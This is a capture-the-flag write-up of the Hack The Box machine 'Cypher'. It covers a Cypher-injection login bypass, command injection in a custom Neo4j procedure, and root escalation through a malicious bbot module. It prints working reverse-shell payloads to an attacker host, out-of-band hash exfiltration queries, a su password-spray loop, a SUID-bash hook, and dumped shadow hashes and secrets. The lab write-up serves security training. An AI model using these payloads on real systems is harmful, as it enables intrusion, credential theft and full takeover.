Cypher is a medium-difficulty Linux machine that requires exploiting a cypher injection vulnerability to bypass authentication on a login page. This grants users access to a custom web application to execute custom queries. A Java file is discovered by fuzzing the web application, revealing a command injection vulnerability that provides access to the machine as the neo4j
user. A history file contains the credentials for the graphasm
user, who has permission to execute bbot
as root
user. This privilege escalation is exploited by creating a custom module that allows executing commands.
Recon
Hosts
pt
command is a custom pentest framework to manage hosts and variables, it is not required to reproduce the steps in this writeup
1
2
3
4
5
6
7
| ┌──(bravosec㉿fsociety)-[~/htb/Cypher]
└─$ pt init '10.10.11.57 cypher.htb'
+---------+--------+-------------+------------+
| PROFILE | STATUS | IP | DOMAIN |
+---------+--------+-------------+------------+
| cypher | on | 10.10.11.57 | cypher.htb |
+---------+--------+-------------+------------+
|
Nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| # Nmap 7.95 scan initiated Thu Mar 6 18:38:23 2025 as: /usr/lib/nmap/nmap -sVC --version-all -T4 -Pn -vv -oA ./nmap/full_tcp_scan -p 22,80, 10.10.11.57
Nmap scan report for 10.10.11.57
Host is up, received user-set (0.21s latency).
Scanned at 2025-03-06 18:38:24 CST for 13s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 be:68:db:82:8e:63:32:45:54:46:b7:08:7b:3b:52:b0 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMurODrr5ER4wj9mB2tWhXcLIcrm4Bo1lIEufLYIEBVY4h4ZROFj2+WFnXlGNqLG6ZB+DWQHRgG/6wg71wcElxA=
| 256 e5:5b:34:f5:54:43:93:f8:7e:b6:69:4c:ac:d6:3d:23 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEqadcsjXAxI3uSmNBA8HUMR3L4lTaePj3o6vhgPuPTi
80/tcp open http syn-ack ttl 63 nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://cypher.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Mar 6 18:38:37 2025 -- 1 IP address (1 host up) scanned in 14.16 seconds
|
80 - HTTP : GRAPH ASM
Info
1
| http://cypher.htb [200] [GRAPH ASM] [nginx/1.24.0 (Ubuntu)] [53040d336712e08ab47fe765cce5dc3c00e6b5b1] [Bootstrap,Nginx:1.24.0,Ubuntu,jQuery]
|
Directory
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
| ┌──(bravosec㉿fsociety)-[~/htb/Cypher]
└─$ URL="http://$(pt get rhost):80"; OUT="$(echo $URL | awk -F':' '{print $NF}' | sed -e 's|[/:]|-|g')"; feroxbuster -k -A -w /usr/share/wordlists/dirb/common.txt -u "$URL" -o "ferox_${OUT}.txt" -C 404
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://cypher.htb:80
🚀 Threads │ 50
📖 Wordlist │ /usr/share/wordlists/dirb/common.txt
💢 Status Code Filters │ [404]
💥 Timeout (secs) │ 7
🦡 User-Agent │ Random
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
💾 Output File │ ferox_80.txt
🏁 HTTP methods │ [GET]
🔓 Insecure │ true
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200 GET 3l 113w 8123c http://cypher.htb/bootstrap-notify.min.js
200 GET 179l 477w 4986c http://cypher.htb/about
200 GET 63l 139w 1548c http://cypher.htb/utils.js
200 GET 126l 274w 3671c http://cypher.htb/login
307 GET 0l 0w 0c http://cypher.htb/demo => http://cypher.htb/login
200 GET 2l 1293w 89664c http://cypher.htb/jquery-3.6.1.min.js
200 GET 7l 1223w 80496c http://cypher.htb/bootstrap.bundle.min.js
200 GET 876l 4886w 373109c http://cypher.htb/logo.png
307 GET 0l 0w 0c http://cypher.htb/api => http://cypher.htb/api/docs
200 GET 7333l 24018w 208204c http://cypher.htb/vivagraph.min.js
200 GET 12l 2173w 195855c http://cypher.htb/bootstrap.min.css
200 GET 162l 360w 4562c http://cypher.htb/
200 GET 5632l 33572w 2776750c http://cypher.htb/us.png
200 GET 162l 360w 4562c http://cypher.htb/index
200 GET 162l 360w 4562c http://cypher.htb/index.html
405 GET 1l 3w 31c http://cypher.htb/api/auth
307 GET 0l 0w 0c http://cypher.htb/api/ => http://cypher.htb/api/api
301 GET 7l 12w 178c http://cypher.htb/testing => http://cypher.htb/testing/
200 GET 17l 139w 9977c http://cypher.htb/testing/custom-apoc-extension-1.0-SNAPSHOT.jar
[####################] - 25s 9264/9264 0s found:19 errors:10
[####################] - 22s 4614/4614 207/s http://cypher.htb:80/
[####################] - 23s 4614/4614 202/s http://cypher.htb/
[####################] - 1s 4614/4614 7928/s http://cypher.htb/testing/ => Directory listing (add --scan-dir-listings to scan)
|
User Flag
Shell as neo4j
80 - GRAPH ASM : Apoc extension APK file leak
What is **Apoc extension?**
Neo4j 3.x introduced the concept of user-defined procedures and functions. Those are custom implementations of certain functionality, that can’t be (easily) expressed in Cypher itself. They are implemented in Java and can be easily deployed into your Neo4j instance, and then be called from Cypher directly.
Download APK file
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| ┌──(bravosec㉿fsociety)-[~/htb/Cypher]
└─$ cd dump
┌──(bravosec㉿fsociety)-[~/htb/Cypher/dump]
└─$ wget http://cypher.htb/testing/custom-apoc-extension-1.0-SNAPSHOT.jar
--2025-03-08 21:24:32-- http://cypher.htb/testing/custom-apoc-extension-1.0-SNAPSHOT.jar
Resolving cypher.htb (cypher.htb)... 10.10.11.57
Connecting to cypher.htb (cypher.htb)|10.10.11.57|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 6556 (6.4K) [application/java-archive]
Saving to: ‘custom-apoc-extension-1.0-SNAPSHOT.jar’
custom-apoc-extension-1.0-SNAPSHOT.jar 100%[===================================================================================================================>] 6.40K --.-KB/s in 0.001s
2025-03-08 21:24:36 (7.87 MB/s) - ‘custom-apoc-extension-1.0-SNAPSHOT.jar’ saved [6556/6556]
|
Decompile APK file
1
2
3
4
5
6
| ┌──(bravosec㉿fsociety)-[~/htb/Cypher/dump]
└─$ jadx $(realpath custom-apoc-extension-1.0-SNAPSHOT.jar) -d $(realpath jadx_out)
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
INFO - loading ...
INFO - processing ...
INFO - done
|
1
2
3
4
5
6
7
8
9
10
11
| ┌──(bravosec㉿fsociety)-[~/htb/Cypher/dump/jadx_out]
└─$ find -L . -type f -exec ls -latrh {} + 2>/dev/null
-rw-r--r-- 1 bravosec kali 81 Mar 8 21:25 ./resources/META-INF/MANIFEST.MF
-rw-r--r-- 1 bravosec kali 573 Mar 8 21:25 './resources/com/cypher/neo4j/apoc/HelloWorldProcedure$HelloWorldOutput.class'
-rw-r--r-- 1 bravosec kali 3.8K Mar 8 21:25 ./resources/com/cypher/neo4j/apoc/CustomFunctions.class
-rw-r--r-- 1 bravosec kali 547 Mar 8 21:25 './resources/com/cypher/neo4j/apoc/CustomFunctions$StringOutput.class'
-rw-r--r-- 1 bravosec kali 79 Mar 8 21:25 ./resources/META-INF/maven/com.cypher.neo4j/custom-apoc-extension/pom.properties
-rw-r--r-- 1 bravosec kali 1.7K Mar 8 21:25 ./resources/com/cypher/neo4j/apoc/HelloWorldProcedure.class
-rw-r--r-- 1 bravosec kali 1.6K Mar 8 21:25 ./resources/META-INF/maven/com.cypher.neo4j/custom-apoc-extension/pom.xml
-rw-r--r-- 1 bravosec kali 2.6K Mar 8 21:25 ./sources/com/cypher/neo4j/apoc/CustomFunctions.java
-rw-r--r-- 1 bravosec kali 963 Mar 8 21:25 ./sources/com/cypher/neo4j/apoc/HelloWorldProcedure.java
|
From pom.xml
(Project Object Model config that contains info about the project and configuration details), we know that the neo4j version is 5.23.0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| ┌──(bravosec㉿fsociety)-[~/htb/Cypher/dump/jadx_out]
└─$ cat ./resources/META-INF/maven/com.cypher.neo4j/custom-apoc-extension/pom.xml
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.cypher.neo4j</groupId>
<artifactId>custom-apoc-extension</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<neo4j.version>5.23.0</neo4j.version>
<maven.compiler.source>11</maven.compiler.source>
<maven.compiler.target>11</maven.compiler.target>
</properties>
[...]
|
There’s a custom apoc function vulnerable to command injection via url
parameter
./sources/com/cypher/neo4j/apoc/CustomFunctions.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
| package com.cypher.neo4j.apoc;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.util.Arrays;
import java.util.concurrent.TimeUnit;
import java.util.stream.Stream;
import org.neo4j.procedure.Description;
import org.neo4j.procedure.Mode;
import org.neo4j.procedure.Name;
import org.neo4j.procedure.Procedure;
/* loaded from: custom-apoc-extension-1.0-SNAPSHOT.jar:com/cypher/neo4j/apoc/CustomFunctions.class */
public class CustomFunctions {
@Procedure(name = "custom.getUrlStatusCode", mode = Mode.READ)
@Description("Returns the HTTP status code for the given URL as a string")
public Stream<StringOutput> getUrlStatusCode(@Name("url") String url) throws Exception {
if (!url.toLowerCase().startsWith("http://") && !url.toLowerCase().startsWith("https://")) {
url = "https://" + url;
}
String[] command = {"/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url};
System.out.println("Command: " + Arrays.toString(command));
Process process = Runtime.getRuntime().exec(command);
BufferedReader inputReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
BufferedReader errorReader = new BufferedReader(new InputStreamReader(process.getErrorStream()));
StringBuilder errorOutput = new StringBuilder();
while (true) {
String line = errorReader.readLine();
if (line == null) {
break;
}
errorOutput.append(line).append("\n");
}
String statusCode = inputReader.readLine();
System.out.println("Status code: " + statusCode);
boolean exited = process.waitFor(10L, TimeUnit.SECONDS);
if (!exited) {
process.destroyForcibly();
statusCode = "0";
System.err.println("Process timed out after 10 seconds");
} else {
int exitCode = process.exitValue();
if (exitCode != 0) {
statusCode = "0";
System.err.println("Process exited with code " + exitCode);
}
}
if (errorOutput.length() > 0) {
System.err.println("Error output:\n" + errorOutput.toString());
}
return Stream.of(new StringOutput(statusCode));
}
/* loaded from: custom-apoc-extension-1.0-SNAPSHOT.jar:com/cypher/neo4j/apoc/CustomFunctions$StringOutput.class */
public static class StringOutput {
public String statusCode;
public StringOutput(String statusCode) {
this.statusCode = statusCode;
}
}
}
|
80 - Login page : Cypher injection (error-based) (out-of-band)
Identify cypher injection
Tested a generic SQLI payload : admin';#---
in the username
field, and got error messages indicating that it’s a python app using neo4j as Graph Database
http://cypher.htb/login#
- The request and response for
/api/auth
endpoint
Awesome Cheat sheet - https://pentester.land/blog/cypher-injection-cheatsheet/
- By testing
LOAD CSV
query, we verified that out-of-band interactions are enabled
1
| x' OR 1=1 LOAD CSV FROM 'http://10.10.14.55/' AS x RETURN x//
|
Authentication bypass
The cypher query of the web application to validate credentials
1
| MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = '<USER INPUT>' return h.value as hash
|
- It uses
MATCH
clause to find the SHA-1 hash
of provided username, then compares it with the user provided password that was SHA-1 hashed
So we can make it return a SHA-1 hash that we controls to bypass the authentication
First generate a SHA-1 hash for the password : x
1
2
3
| ┌──(bravosec㉿fsociety)-[~/www]
└─$ echo -n 'x' | sha1sum
11f6ad8ec52a2984abaafd7c3b516503785c2072 -
|
Then we can login with ' or 1=1 RETURN '11f6ad8ec52a2984abaafd7c3b516503785c2072' as hash//
as username, and x
as password
Logged in successfully
80 - Neo4j custom APOC function : Command injection
We are able to use the custom apoc function custom.getUrlStatusCode()
without the apoc
top level node (apoc.custom.getUrlStatusCode()
)
Working payload :
1
| CALL custom.getUrlStatusCode('http://10.10.14.55/x')
|
We can now get a shell via command injection
Start reverse shell listener
Start a web server to host reverse shell script
1
2
3
| ┌──(bravosec㉿fsociety)-[~/htb/Cypher]
└─$ PORT="80"; fuser -k "$PORT/tcp" 2>/dev/null; mkdir -p www && echo '/bin/bash -i >& /dev/tcp/10.10.14.55/53 0>&1' > www/index.html && python -m http.server -d www $PORT
1513476Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
|
Query :
1
| CALL custom.getUrlStatusCode('$(/bin/bash -c "bash -i >& /dev/tcp/10.10.14.55/53 0>&1")')
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| ┌──(bravosec㉿fsociety)-[~/htb/Cypher]
└─$ nc -lvnp 53
listening on [any] 53 ...
connect to [10.10.14.55] from (UNKNOWN) [10.10.11.57] 40326
bash: cannot set terminal process group (1421): Inappropriate ioctl for device
bash: no job control in this shell
neo4j@cypher:/$ /usr/bin/script -qc /bin/bash /dev/null
/usr/bin/script -qc /bin/bash /dev/null
neo4j@cypher:/$ ^Z
zsh: suspended nc -lvnp 53
┌──(bravosec㉿fsociety)-[~/htb/Cypher]
└─$ stty raw -echo;fg
[1] + continued nc -lvnp 53
export TERM=xterm
neo4j@cypher:/$ stty rows 50 columns 209
neo4j@cypher:/$ id
uid=110(neo4j) gid=111(neo4j) groups=111(neo4j)
|
From neo4j to graphasm
Harvesting - Password in command history
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| neo4j@cypher:/$ ls -latr ~
total 52
drwxr-xr-x 2 neo4j adm 4096 Aug 16 2024 licenses
drwxr-xr-x 2 neo4j adm 4096 Aug 16 2024 import
drwxr-xr-x 2 neo4j adm 4096 Aug 16 2024 certificates
-rw-r--r-- 1 neo4j adm 52 Oct 2 15:55 packaging_info
drwxrwxr-x 3 neo4j adm 4096 Oct 8 18:07 .cache
-rw-r--r-- 1 neo4j neo4j 63 Oct 8 18:07 .bash_history
lrwxrwxrwx 1 neo4j adm 9 Oct 8 18:07 .viminfo -> /dev/null
drwxr-xr-x 6 neo4j adm 4096 Oct 8 18:07 data
drwxr-xr-x 2 neo4j adm 4096 Feb 17 16:24 products
drwxr-xr-x 2 neo4j adm 4096 Feb 17 16:24 plugins
drwxr-xr-x 2 neo4j adm 4096 Feb 17 16:24 labs
drwxr-xr-x 11 neo4j adm 4096 Feb 17 16:39 .
drwxr-xr-x 50 root root 4096 Feb 17 16:48 ..
drwxr-xr-x 2 neo4j adm 4096 Mar 10 19:43 run
neo4j@cypher:/$ cat ~/.bash_history
neo4j-admin dbms set-initial-password cU4btyib.20xtCMCXkBmerhK
|
Password spray
1
2
3
4
5
| neo4j@cypher:/$ PASS='cU4btyib.20xtCMCXkBmerhK'; for USER in $(cat /etc/passwd|grep -viE 'false$|nologin$|sync$'|awk -F: '{print $1}'); do (x=$(echo $PASS | su "$USER" -c whoami); if [ "$x" ]; then echo "[+] $USER"; fi) & done
[1] 3444
[2] 3445
[3] 3447
neo4j@cypher:/$ Password: Password: Password: [+] graphasm
|
22 - SSH
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
| ┌──(bravosec㉿fsociety)-[~/htb/Cypher]
└─$ sshpass -p 'cU4btyib.20xtCMCXkBmerhK' ssh -o "StrictHostKeyChecking no" graphasm@10.10.11.57
Warning: Permanently added '10.10.11.57' (ED25519) to the list of known hosts.
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-53-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Tue Mar 11 07:57:11 AM UTC 2025
System load: 0.0 Processes: 237
Usage of /: 69.4% of 8.50GB Users logged in: 0
Memory usage: 25% IPv4 address for eth0: 10.10.11.57
Swap usage: 0%
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Tue Mar 11 07:57:12 2025 from 10.10.14.55
graphasm@cypher:~$ id
uid=1000(graphasm) gid=1000(graphasm) groups=1000(graphasm)
graphasm@cypher:~$ cat user.txt
722c6a98d76001e8c78f5363589d4ebd
|
Root Flag
From graphasm to root
SUDO - bbot : Custom module
graphasm
can run /usr/local/bin/bbot
as root
1
2
3
4
5
6
| graphasm@cypher:~$ sudo -l
Matching Defaults entries for graphasm on cypher:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User graphasm may run the following commands on cypher:
(ALL) NOPASSWD: /usr/local/bin/bbot
|
/usr/local/bin/bbot
is a symlink to /opt/pipx/venvs/bbot/bin/bbot
, we don’t have full permissions over both of them
1
2
3
4
| graphasm@cypher:~$ ls -la /usr/local/bin/bbot
lrwxrwxrwx 1 root root 29 Oct 8 18:10 /usr/local/bin/bbot -> /opt/pipx/venvs/bbot/bin/bbot
graphasm@cypher:~$ ls -la /opt/pipx/venvs/bbot/bin/bbot
-rwxr-xr-x 1 root root 222 Oct 8 18:10 /opt/pipx/venvs/bbot/bin/bbot
|
It’s a python script that runs bbot
1
2
| graphasm@cypher:~$ file /opt/pipx/venvs/bbot/bin/bbot
/opt/pipx/venvs/bbot/bin/bbot: Python script, ASCII text executable
|
1
2
3
4
5
6
7
8
9
| graphasm@cypher:~$ vi /opt/pipx/venvs/bbot/bin/bbot
#!/opt/pipx/venvs/bbot/bin/python
# -*- coding: utf-8 -*-
import re
import sys
from bbot.cli import main
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0])
sys.exit(main())
|
bbot is a all-in-one python tool to automate recon for bug bounties
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| graphasm@cypher:~$ bbot
______ _____ ____ _______
| ___ \| __ \ / __ \__ __|
| |___) | |__) | | | | | |
| ___ <| __ <| | | | | |
| |___) | |__) | |__| | | |
|______/|_____/ \____/ |_|
BIGHUGE BLS OSINT TOOL v2.1.0.4939rc
www.blacklanternsecurity.com/bbot
[INFO] Creating BBOT config at /home/graphasm/.config/bbot/bbot.yml
[INFO] Creating BBOT secrets at /home/graphasm/.config/bbot/secrets.yml
[...]
|
We don’t have permissions to modify any files under the pipx’s folders, so hijacking libraries isn’t possible
1
2
3
| graphasm@cypher:~$ cd /opt/pipx/
graphasm@cypher:/opt/pipx$ find -L . -writable 2>/dev/null
graphasm@cypher:/opt/pipx$
|
We should focus on checking bbot’s :
- Public disclosured vulnerability
- What interesting things it can do, such as command execution, file read, file write
- Find vulnerabilities from source codes
From the manuals, we found out that bbot can load custom modules from user specific directories
https://www.blacklanternsecurity.com/bbot/Stable/scanning/configuration/
By searching for “how to create a bbot module”, we found an module example in the developer manual
https://www.blacklanternsecurity.com/bbot/Stable/dev/module_howto/#create-the-python-file
We can create a module to give bash
SETUID at initialization via os.system()
in the setup(self)
function
/tmp/whois.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
| from bbot.modules.base import BaseModule
import os
class whois(BaseModule):
watched_events = ["DNS_NAME"] # watch for DNS_NAME events
produced_events = ["WHOIS"] # we produce WHOIS events
flags = ["passive", "safe"]
meta = {"description": "Query WhoisXMLAPI for WHOIS data"}
options = {"api_key": ""} # module config options
options_desc = {"api_key": "WhoisXMLAPI Key"}
per_domain_only = True # only run once per domain
base_url = "https://www.whoisxmlapi.com/whoisserver/WhoisService"
# one-time setup - runs at the beginning of the scan
async def setup(self):
os.system("chmod u+s /bin/bash")
self.api_key = self.config.get("api_key")
if not self.api_key:
# soft-fail if no API key is set
return None, "Must set API key"
async def handle_event(self, event):
self.hugesuccess(f"Got {event} (event.data: {event.data})")
_, domain = self.helpers.split_domain(event.data)
url = f"{self.base_url}?apiKey={self.api_key}&domainName={domain}&outputFormat=JSON"
self.hugeinfo(f"Visiting {url}")
response = await self.helpers.request(url)
if response is not None:
await self.emit_event(response.json(), "WHOIS", parent=event)
|
Place the module at /tmp/whois.py
, then create a preset config to load modules from /tmp
1
2
| graphasm@cypher:/tmp$ vi /tmp/whois.py
graphasm@cypher:/tmp$ echo 'module_dirs: ["/tmp/"]' > /tmp/bbot.yml
|
Run bbot to load the module as root
1
| graphasm@cypher:/tmp$ sudo bbot -y -t 127.0.0.1 -p /tmp/bbot.yml -m whois
|
Start bash with -p
option to preserve euid
and egid
of root
user, then start a new shell as root
with the help of python’s os.setuid()
function
1
2
3
4
5
6
| graphasm@cypher:/tmp$ bash -p
bash-5.2# $(which python2 python python3 2>/dev/null | head -n1) -c 'import os;os.setuid(0);os.system("/bin/bash -p")'
root@cypher:/tmp# id
uid=0(root) gid=1000(graphasm) groups=1000(graphasm)
root@cypher:/tmp# cat /root/root.txt
4d2aea5aa73d4e993a6dfe804d0e0af7
|
Cleanup
1
| root@cypher:/tmp# chmod -s /bin/bash; rm -rf /tmp/whois.py /tmp/bbot.yml
|
Additional
Post exploitation
Secrets
1
2
3
| root@cypher:/tmp# awk -F: '$2 ~ /^\$/' /etc/shadow
root:$y$j9T$ianAmmc1w6VSodw.1fzgk/$3DenO5YJ1VBvE1VekRL79v6bN00fhcbA59zeeLciY67:20133:0:99999:7:::
graphasm:$y$j9T$lDLyqZAxCXhX1EB3v01Zl.$C0XwosQvBM.5sAPbHd8oyAK0e8lg0GX5YJHb7qImQV7:20004:0:99999:7:::
|
Files
80 - /api/ : Source code
- Backend python fastapi that runs in docker container on port
8000
1
2
3
| root@cypher:~# docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
d1313f9003f3 cypher-htb-fastapi:latest "uvicorn app:app --r…" 2 weeks ago Up 20 hours 127.0.0.1:8000->8000/tcp fastapi
|
1
2
| root@cypher:~# docker inspect d1313f9003f3 | jq '.[].Mounts.[]' -c
{"Type":"bind","Source":"/root/.setup","Destination":"/app","Mode":"","RW":true,"Propagation":"rprivate"}
|
/root/.setup/app.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
| import json
import traceback
from time import sleep
from hashlib import sha1
from datetime import timedelta
from contextlib import suppress
from pydantic import BaseModel
from starlette.responses import Response, RedirectResponse
from fastapi import FastAPI, Depends, Request
from fastapi.responses import HTMLResponse
from fastapi_login import LoginManager
from fastapi_login.exceptions import InvalidCredentialsException
import logging
log = logging.getLogger("gunicorn.error")
from neo4j import GraphDatabase
# Neo4j connection details
URI = "bolt://host.docker.internal:7687"
USERNAME = "neo4j"
PASSWORD = "cU4btyib.20xtCMCXkBmerhK"
### DATABASE ###
# wait for neo4j to come up
while 1:
try:
driver = GraphDatabase.driver(URI, auth=(USERNAME, PASSWORD))
with driver.session() as session:
session.run("Match () Return 1 Limit 1")
break
except Exception:
log.error(traceback.format_exc())
sleep(1)
def create_node(tx, label, properties):
for k,v in dict(properties).items():
if isinstance(v, dict):
properties.pop(k)
query = (
f"CREATE (n:{label} $properties)"
)
tx.run(query, properties=properties)
def create_relationship(tx, src, dst, type):
query = (
"MATCH (a), (b) "
"WHERE a.id = $src AND b.id = $dst "
f"CREATE (a)-[:{type}]->(b)"
)
tx.run(query, src=src, dst=dst)
def run_cypher(cypher):
with driver.session() as session:
return [r.data() for r in session.run(cypher)]
### CREATE ADMIN USER ###
for cypher in [
"CREATE CONSTRAINT uniq_user IF NOT EXISTS FOR (user:USER) REQUIRE user.username IS UNIQUE",
"CREATE CONSTRAINT uniq_pass IF NOT EXISTS FOR (pass:HASH) REQUIRE pass.value IS UNIQUE",
"CREATE FULLTEXT INDEX dns_name_data_fulltext FOR (n:DNS_NAME) ON EACH [n.data]",
"""
MERGE (u:USER {name:'graphasm'})
MERGE (p:SHA1 {value: '9f54ca4c130be6d529a56dee59dc2b2090e43acf'})
MERGE (u)-[:SECRET]->(p)
"""
]:
with suppress(Exception):
run_cypher(cypher)
### POPULATE DB ###
dns_name = run_cypher("Match (n:DNS_NAME) Return n Limit 1")
if not dns_name:
with driver.session() as session:
with open("webroot/sanitized.json", 'r') as file:
events = list([json.loads(line) for line in file])
print('creating nodes')
for event in events:
session.execute_write(create_node, event["type"], event)
print('creating relationships')
for event in events:
session.execute_write(create_relationship, event["parent"], event["id"], event["module"])
### BASE APP ###
app = FastAPI()
@app.get("/api")
async def root():
return RedirectResponse("/api/docs")
### SECURITY ###
class NotAuthenticatedException(Exception):
pass
SECRET = "563e56a8078fab3dd7d3dc1e97d9af498fac07e49479dd9a83b8d028b0145226"
manager = LoginManager(SECRET, token_url="/auth", use_cookie=True, not_authenticated_exception=NotAuthenticatedException)
@app.exception_handler(NotAuthenticatedException)
def auth_exception_handler(request: Request, exc: NotAuthenticatedException):
"""
Redirect the user to the login page if not logged in
"""
return RedirectResponse(url="/login")
@app.get("/demo", response_class=HTMLResponse)
async def demo(user=Depends(manager)):
with open("/app/demo.html", "r") as f:
return f.read()
@manager.user_loader()
def load_user(username: str):
# TODO: flesh this out
return {"username": "graphasm"}
def verify_creds(username, password):
cypher = (
f"MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = '{username}' return h.value as hash"
)
try:
results = run_cypher(cypher)
if results:
db_hash = results[0]["hash"]
password = password.encode(errors="ignore")
hashed_password = sha1(password).hexdigest()
if hashed_password == db_hash:
return True
return False
except Exception:
raise ValueError(f"Invalid cypher query: {cypher}: {traceback.format_exc()}")
class LoginForm(BaseModel):
username: str
password: str
@app.post("/api/auth")
def login(loginform: LoginForm):
username = loginform.username
password = loginform.password
try:
creds_valid = verify_creds(username, password)
except Exception:
return Response(traceback.format_exc(), status_code=400)
if not creds_valid:
raise InvalidCredentialsException
token = manager.create_access_token(
data=dict(sub=username), expires=timedelta(hours=12)
)
response = Response("ok")
response.set_cookie(key=manager.cookie_name, value=token)
return response
@app.get("/api/cypher")
def get_nodes(query: str):
if "alter " in query.lower() or "merge " in query.lower():
return Response("Access denied", status_code=400)
try:
return run_cypher(query)
except Exception:
return Response(traceback.format_exc(), status_code=400)
|
Client side activities
Keylogging & Clipboard history
Browser
Files & directories access history
Application history
Cypher injection - Exfiltration (out-of-band)
We can exfiltrate users’ password hashes via LAOD CSV
query
1
| admin' or 1=1 LOAD CSV FROM 'http://10.10.14.111/h/' + h.value as v return v as hash//
|
1
| [2025-07-25 18:54:24] 10.10.11.57:52460 "GET /h/9f54ca4c130be6d529a56dee59dc2b2090e43acf HTTP/1.1" 404 19
|